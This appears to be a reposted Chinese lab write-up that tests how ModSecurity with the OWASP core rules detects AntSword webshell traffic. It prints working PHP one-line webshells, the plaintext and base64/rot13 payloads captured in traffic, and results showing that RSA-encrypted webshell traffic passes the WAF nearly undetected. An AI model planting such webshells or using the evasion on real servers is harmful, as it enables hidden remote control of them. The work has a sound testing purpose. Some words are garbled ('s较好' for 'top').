WAF对WebShell流量检测的性能分析是怎样的

本地环境组建

从保留的截图来看，对方的php版本是5.6.40，所以我要搭一个apache+php5.6.40的测试环境。打开virtualbox，链接复制出来一份centos镜像系统，按照以下流程配置一遍。

1. 安装apache

yum install -y httpdhttpd -vServer version: Apache/2.4.6 (CentOS)Server built:   Aug  8 2019 11:41:18

2. 安装php5.6

yum -y install epel-releaserpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpmyum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56wyum -y install php56w-mcrypt php56w-soap php56w-intl  php56w-pdosystemctl restart httpd.servicephp -vPHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15) Copyright (c) 1997-2016 The PHP Group

做一个index.php用以显示phpinfo()，本机访问时为了测试方便关闭firewalld

systemctl s较好 firewalld         //当然也可以通过firewall-cmd去开放端口

3. 为了后面查看攻击流量，再装一个wireshark，包含wireshark-gnome等等，直接用*替代了。

yum install wireshark*

4. 配置apache-modsecurity手边没有waf设备，没法对流量进行测试，于是用mode-security，以及OWASP（开放Web应用程序安全性项目）核心规则集-CRS进行测试，纵然效果不如实际场景来的直观，但足以说明问题。

yum -y install mod_securitycd /etc/httpdgit clone https://github.com/SpiderLabs/owasp-modsecurity- crs.gitmv owasp-modsecurity-crs modsecurity.dcd modsecurity-crscp crs-setup.conf.example crs-setup.confvi /etc/httpd/conf/httpd.confInclude conf.modules.d/*.confInclude modsecurity.d/owasp-modsecurity-crs/crs-setup.confInclude modsecurity.d/owasp-modsecurity-crs/rules/*.confsystemctl restart httpd

modsecurity的默认配置是检测到攻击会阻断，我们将它改为只记录。

vim /etc/httpd/conf.d/mod_security.confSecRuleEngine On (拦截)SecRuleEngine  DetectionOnly 记录tail -f /var/log/httpd/model/modsec_audit.log //查看拦截日志

测试一些攻击向量会在log里看到记录，证明配置完成。环境搭建完成。

攻击流量配置、分析、检测

明文php-webshell配置

首先写个一句话看看明文webshell流量传输。

vim test1.php<?php @eval($_POST['aaaa']); ?>

配置蚁剑进行连接

明文流量分析

用wireshark查看测试连接的流量

POST /test1.php HTTP/1.1Host: 192.168.1.13Accept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 993Connection: closeaaaa=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "620e2fc";echo @asenc($output);echo "71a0ccfbc1";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"] //dirname()函数获取给定文件路径中的目录部分，而$_SERVER['SCRIPT_FILENAME']全局预定义变量用于获取当前执行脚本的完整路径);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //如果没有获取到就用PATH_TRANSLATED,获取当前脚本所在文件系统（非文档根目录）的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。Apache 2 用户可以使用httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。$R="{$D}";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";//以上是判断windows或者linux盘符，进而把获取的目录信息存入变量$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";//posix_getegid()返回当前进程的有效用户组ID，posix_geteuid()返回当前进程的有效用户ID$s=($u)?$u["name"]:@get_current_user();//get_current_user()方法进行获得PHP当前脚本所有者名称$R.=php_uname();//php_uname返回运行 PHP 的系统的有关信息$R.="{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();//输出HTTP/1.1 200 OKDate: Wed, 29 Jan 2020 12:53:30 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40X-Powered-By: PHP/5.6.40Content-Length: 136Connection: closeContent-Type: text/html; charset=UTF-8620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc1

为了更加清楚antsword发出的流量包，我认真看了一下发的包，并查了一些相关函数，做注释的同时感叹了PHP函数的牛逼，并勾起了我的好奇心，对这几个函数做了本地测试。

<?phpecho posix_getegid();echo posix_getlogin();echo get_current_user();echo php_uname();

0t1gerrootLinux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64

果然牛逼！和返回包现象保持了一致。同时也说明了如果明文直接进行探测，这种流量在waf面前无异于自投罗网！

明文流量检测

waf测试结果如下：

Message: Warning. Pattern match "^[\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]Message: Warning.    .....    .....Apache-Handler: php5-scriptS较好watch: 1580358081210887 7750 (- - -)S较好watch3: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0Response-Body-Transformed: DechunkedProducer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Engine-Mode: "DETECTION_ONLY"

统计数据如下，匹配规则数按照grep line|wc -l计算

接下来我们先测对称密码。

Base64&&rot13 webshell配置

Antsword自带几个可供测试的shell，给我们提供了非常大的方便。

我顺便贴一下代码。先来看看base64的代码

<?php$ant=base64_decode("YXNzZXJ0");$ant($_POST['ant']);?>

Base64&&rot13 流量分析

POST /php_assert_script.php HTTP/1.1Host: 192.168.1.13Accept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 942Connection: closeant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D

base64加密之后的流量除了eval之外至少不会包含那么多的高危函数，加密之后我们再来测试。

Base64&&rot13 webshell流量检测

waf测试结果如下：

Message: Warning. Pattern match "^[\d.:]+$" at REQUEST_HEADERS:Host. [file Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"]......

统计数据如下

通过Antsword界面配置rot13加密及解密，抓包看了下流量，仅仅是将base64的加密函数变成了str_rot13

ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(

拦截数据和base差不多，waf统计数据如下

由此可见，对称加密算法下eval、base64,rot13这些函数也是可以触发较高告警等级的。但是相比于明文传输，触发的告警会少一半，于是笔者进一步尝试一下antsword提供的非对称加密算法。

RSA加密流量配置

版本>=2.1.0开始，Antsword作者新增了RSA模式。蚁剑默认下仅支持PHP。另外需要Server开启php_openssl拓展。

修改php.ini，去掉extension=php_openssl.dll前的注释，重启Apache

使用方法：

Antsword->系统设置->编码管理->新建编码器->PHP RSA->命名为rsa_php->点击RSA配置->生成

1、将下方的php代码copy到虚拟机里，命名为rsa.php

2、配置antsword连接类型选择rsa_php

3、测试连接

RSA加密流量分析

贴上wireshark抓的流量

POST /rsa.php HTTP/1.1
Host: 192.168.1.13
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1712
Connection: close

ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth7jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh35dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih4pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OK

Date: Thu, 30 Jan 2020 05:47:09 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 133
Connection: close
Content-Type: text/html; charset=UTF-8

8ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246

经历非对称加密算法之后,整个流量传输的数据除了length之外,肉眼已经分别不出来, 这个效果笔者比较满意.

RSA加密流量检测

Message: Warning. Pattern match "^[\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]
Apache-Handler: php5-script
S较好watch: 1580363229118571 7666 (- - -)
S较好watch3: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
Engine-Mode: "DETECTION_ONLY"

| Apache-Error | Message | 匹配规则数 | level |
| ------------ | ------- | ---------- | ----- |
| 1            | 1       | 1          | --    |

waf也只能检测到Host header is a numeric IP address,这基本是说waf对于RSA加密的webshell流量基本没什么防护能力，往后的安全设备检测只能依赖于杀毒软件。

这样的加密程度对笔者本次实验来说已经够用了。但是同样还存在着很多很多的问题，比如绕杀软，混淆代码等等，每一个方向都需要专注、细心、长久的投入。

以上就是WAF对WebShell流量检测的性能分析是怎样的的全部内容了，更多与WAF对WebShell流量检测的性能分析是怎样的相关的内容可以搜索亿速云之前的文章或者浏览下面的文章进行学习哈！相信小编会给大家增添更多知识,希望大家能够支持一下亿速云！